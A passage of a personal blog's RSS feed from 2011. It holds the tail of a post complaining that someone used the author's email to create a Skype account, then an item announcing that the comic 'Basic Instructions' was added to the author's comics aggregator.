<p><a href="http://blog.kamens.us/wp-content/uploads/2011/08/profile_details.png"><img class="size-full wp-image-2320 aligncenter" title="Profile details" src="http://blog.kamens.us/wp-content/uploads/2011/08/profile_details.png" alt="" width="514" height="303" /></a></p>
<p>I wish I knew what the hell this guy thinks he&#8217;s accomplishing with these hijinks.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
			<item>
		<title>UPDATED: &#8220;Basic Instructions&#8221; added to comics aggregator</title>
		<link>http://blog.kamens.us/2011/07/27/basic-instructions-added-to-comics-aggregator/</link>
		<comments>http://blog.kamens.us/2011/07/27/basic-instructions-added-to-comics-aggregator/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 16:42:10 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Comics Aggregator]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2304</guid>
		<description><![CDATA[I&#8217;ve added &#8220;Basic Instructions&#8221; to my comics aggregator. Tip of that hat to Seth Gordon for pointing me at this fine comic! UPDATE: Because the author of &#8220;Basic Instructions&#8221; sometimes publishes his strip after people have already read their daily comics, I&#8217;ve also added &#8220;Basic Instructions (1-day delay)&#8221;, so you can use that one instead [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve added &#8220;<a href="http://basicinstructions.net/" target="_blank">Basic Instructions</a>&#8221; to my <a href="http://comics.kamens.brookline.ma.us/" target="_blank">comics aggregator</a>. Tip of that hat to <a href="http://www.ropine.com/yesh/" target="_blank">Seth Gordon</a> for pointing me at this fine comic!</p>
<p>UPDATE: Because the author of &#8220;Basic Instructions&#8221; sometimes publishes his strip after people have already read their daily comics, I&#8217;ve also added &#8220;Basic Instructions (1-day delay)&#8221;, so you can use that one instead if you want to be sure not to miss one!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/07/27/basic-instructions-added-to-comics-aggregator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

